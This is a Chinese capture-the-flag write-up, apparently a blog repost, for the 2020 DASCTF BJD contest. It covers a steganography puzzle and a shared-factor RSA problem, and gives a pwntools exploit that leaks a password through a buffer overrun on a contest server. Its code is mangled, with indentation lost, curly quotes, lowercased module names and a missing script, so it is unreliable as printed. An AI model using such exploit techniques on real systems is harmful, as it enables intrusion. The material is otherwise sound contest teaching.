2020 DASCTF BJD 部分題解

2021-10-13 06:52:07 字數 3120 閱讀 3800

嗚嗚聖誕節還要打比賽我太難了,但結果還不錯的樣子~

沒有0解

拿了fakepic的一血

混進了前四十有電子證書(嗚嗚,學到現在終於要有證書了)

下面就是wp了

misc

馬老師的秘籍
fakepic
在rar的注釋裡得知密碼需要掩碼爆破,但是用archpr爆破會出錯,幸好隊友的軟體可以爆破,果斷白嫖

用accent rar password recovery的掩碼爆破解出壓縮包密碼為1cpp,解壓得到flag.png和hint

winhex開啟發現末尾有searchme_in_alpha,猜測資料藏在alpha位里

hint中說只需要取前500位,左上為資料區,用指令碼提取:

from pil import image

img = image.open(『flag.png』)

f=open(『1.txt』,『w』)

width,height=img.size

cnt=0

for i in range(0,height):

tmp = img.getpixel((0,i))

f.write(str(tmp[3]))

f.write(』\n』)

cnt+=1

if cnt>=320:

break

123

4567

891011

12

輸出後發現有效資料只有320位,且均為2的次方,觀察發現資料是8個一組,320/8等於40

分析一下,dasctf{}加上裡面的32位md5正好40個字元(神tm就是這個看似相當正確的想法,卡了我2個小時)

把得到的alpha的資料挨個算出是2的幾次方,按照8個一組連起來

hint裡有個10132430,把連線得到的數減去10132430,發現只有1和0,試了試其他幾個,也是如此,看樣子是這個方向了

然後拿著dasctf的二進位制和解出來的二進位制研究了好久…

經過兩個小時的分析,發現如果是dasctf的話,前面的資料毫無規律可言,根本找不到辦法解密

所以我開始懷疑前面的字元真的是dasctf嗎,於是終於跳出了坑,去試了試別的思路

因為第一位都是1,應該不是資料區,把後七位轉ascii碼,又得不到可見字元,於是想到了異或

拿第乙個二進位制的後七位異或127試了試,嗯?居然是f!第二個試了試,嗯?居然是l!第三個試了試,嗯?居然是a!

然後不用試了,直接寫指令碼叭:

import math

f=open(『1.txt』,『r』)

cnt=0

ans=0

char=』』

flag=』』

while 1:

a=f.readline().strip()

if a:

x=math.log(int(a),2)

ans=ans*10+x

cnt+=1

if cnt%8==0:

char=str(int(ans-10132430))

flag+=chr(int(char[1:8],2)^127)

ans=0

else:

break

print(flag)

123

4567

891011

1213

1415

1617

1819

解得flag_is:f582e9b319abe1edfd7df565fecf6f6f

交上去一看,230分,意思是一血咯?!不過估計是有大佬屯flag了,我交上去之後沒一會就有4個隊交了…

不過還是蠻開心的呀

pwn隊伍的pwn神am0n做的,太強惹~

π
64位ida開啟反編譯(可以順手nc一下,會發現自己輸password是永遠不對的),把每乙個函式重新命名一下(在點進函式前先截個圖防止資料消失)然後發現password是程式自己隨機的,再看棧上,相差0x40位,那就在使用者名稱處輸入0x40個a,發現會有密碼一起輸出,接收複製成功登入。

在這裡插入描述

在這裡插入描述

在這裡插入描述

在這裡插入描述之後就是使pi精確到小數點後七位,因為蒙特卡羅法只能到後四位,再看到棧位址只差4位,利用資料型別差異填充4個00000000位元組,然後讓pi成為3.1415925就行

於是編寫exp如下:

from pwn import *

context.os=『linux』

context.arch=『amd64』

context.log_level=『debug』

p=remote(『183.129.189.60』,10022)

payload1=『a』*0x40

p.recvuntil(「username:」)

p.sendline(payload1)

payload_tmp=p.recvline()

payload2=payload_tmp[73:len(payload_tmp)-3]

p.recvuntil(「passcode:」)

p.sendline(payload2)

p.recvuntil("n = ")

p.sendline(『4632251120704552960』)

p.interactive()

123

4567

891011

1213

1415

得到flag:flag

crypto

asa
分析加密指令碼後發現,key和iv是用兩個不同的n加密的,但是這兩個不同的n有公約數p,利用歐幾里得演算法可以直接算出p將n1,n2分解

然後就可以得到私鑰來解密key和iv,直接aes解密c得到flag,於是編寫指令碼如下:

123

4567

891011

1213

1415

1617

1819

20

執行得到flag:dasctf

2020 巔峰極客 Re部分WriteUp

分為三部分 以 為間隔,將flag的第一部分轉換為整型數字,並且滿足後項 前項分別為 0x13,0x19,0x1a,0x1c 最後一項為len flag lastpos 以 為間隔,將中間的字串分別儲存到road中 checkflag,即走四個20x.的迷宮,從s d。以第1點儲存的順序,決定迷宮的...

jiangly CSP2020模擬賽 部分題解

t3 思路 按位分治 大概就是從高到低考慮二進位制的每一位 設 solve s,i 表示當前我們考慮在 s 這個集合中選,當前只需要考慮只取出第 i 位及以下的限制 x 滿足題意的方案數 那麼對限制的第 i 位,我們把 s 中第 i 位是 1 和是 0 的分成兩個集合 a 和 b 接下來討論 如果限...

IOI2020 部分題解

乙個 n 個點的無向圖,給定每兩個點之間的簡單路徑條數 p 構造乙個滿足要求的無向圖或判斷無解。1 le n le10 3,0 le p le 3 這個 p 3 非常煩,但是可以發現若 p 3 則無解。考慮乙個最簡單的情況 其它情況一定可以從這種情況加一些點得到 2 到 4 有 3 條路徑,則 1 ...